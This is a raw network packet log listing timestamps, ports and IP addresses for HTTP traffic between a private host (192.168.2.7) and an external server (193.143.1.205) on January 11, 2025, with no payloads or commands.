Jan 11, 2025 08:30:20.358696938 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.358732939 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.358766079 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.358799934 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.358808041 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.358854055 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.359457970 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.359532118 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.359575987 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.359581947 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.359617949 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.359652042 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.359682083 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.360373020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.360408068 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.360421896 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.360445023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.360496044 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.360505104 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.360529900 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.360572100 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.361140013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.361192942 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.361227036 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.361273050 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.361321926 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.361357927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.361363888 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.362045050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.362096071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.362097979 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.362132072 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.362175941 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.362243891 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.362278938 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.362353086 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.362999916 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.363049984 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.363085032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.363097906 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.363118887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.363154888 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.363197088 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.363898993 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.363934040 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.363950968 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.363967896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.364075899 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.364434004 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.364523888 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.364557028 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.364568949 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.364609003 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.364643097 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.364670992 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.364679098 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.364808083 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.365391016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.365619898 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.365655899 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.365667105 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.365689993 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.365727901 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.365751982 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.365762949 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.365797043 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.365809917 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.366430044 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.366482973 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.366486073 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.366520882 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.366564035 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.366647959 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.366681099 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.366714954 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.366725922 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.367300034 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.367322922 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.367337942 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.367346048 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.367381096 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.367466927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.367474079 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.367477894 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.367489100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.367497921 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.367522001 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.367546082 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.367546082 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.368062973 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.368079901 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.368088961 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.368119955 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.368669033 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.368680954 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.368690968 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.368736982 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.368736982 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.372093916 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.409415007 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.409485102 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.409519911 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.409553051 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.409565926 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.409595013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.409631968 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.409652948 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.409666061 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.409682035 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.409702063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.409779072 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.444149017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444274902 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444287062 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444333076 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.444360971 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444372892 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444396973 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444402933 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.444408894 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444444895 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.444540977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444551945 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444562912 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444572926 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444585085 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444587946 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.444605112 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.444623947 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.444760084 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444811106 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444844961 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444859982 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.444878101 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444911957 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444947004 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.444958925 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.445014000 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.479213953 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479289055 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479302883 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479341030 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.479345083 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479356050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479367018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479403019 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.479403019 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.479429960 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479441881 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479482889 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.479516983 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479526043 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479537010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479579926 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.479619026 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479636908 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479664087 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.479862928 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479916096 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.479931116 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.479983091 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480029106 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480036974 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480072021 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480104923 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480138063 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480140924 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480170965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480186939 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480206013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480257034 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480284929 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480302095 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480318069 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480329037 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480369091 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480401993 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480415106 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480436087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480472088 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480509996 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480514050 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480545998 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480560064 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480580091 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480612993 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480648041 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480659962 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480693102 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480753899 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480783939 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480829954 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480834007 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480882883 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480916023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.480928898 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.480951071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481020927 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.481064081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481096983 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481128931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481143951 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.481162071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481197119 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481209040 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.481400013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481431961 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481463909 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481477022 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.481498003 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481509924 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.481530905 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481563091 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481576920 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.481595039 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481630087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481700897 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.481764078 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481796980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481831074 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481851101 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.481872082 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.481911898 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481944084 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.481976986 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482019901 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.482083082 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482115984 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482147932 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482148886 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.482182980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482192039 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.482405901 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482438087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482455969 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.482471943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482506037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482523918 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.482548952 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482686996 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482700109 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.482721090 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482754946 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482788086 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482799053 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.482824087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.482834101 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.484227896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484262943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484277964 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.484313965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484347105 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484380007 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484391928 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.484416962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484426022 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.484499931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484533072 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484548092 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.484565973 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484600067 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484616995 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.484747887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484781027 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484797001 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.484816074 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484848976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484869003 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.484880924 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484915972 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.484930992 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.485023975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.485057116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.485079050 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.485112906 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.495901108 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.495929956 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.495959044 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.495979071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.496014118 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.496028900 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.496047020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.496079922 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.496093035 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.496121883 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.496155977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.496200085 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.499521017 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.530900955 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.530956030 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.530957937 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.530988932 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531033039 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531040907 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531074047 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531110048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531158924 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531205893 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531238079 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531250954 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531272888 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531306982 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531354904 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531371117 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531404018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531416893 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531435966 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531481028 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531554937 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531588078 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531620979 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531653881 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531668901 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531686068 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531697989 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531718969 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531760931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531794071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531816006 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531847954 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.531902075 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531934977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.531976938 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.566323996 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566354036 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566405058 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566420078 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.566440105 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566490889 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566524029 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566538095 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.566556931 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566570997 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.566592932 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566626072 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566653967 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.566675901 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566709042 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566745043 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.566746950 CET	80	49702	193.143.1.205	192.168.2.7
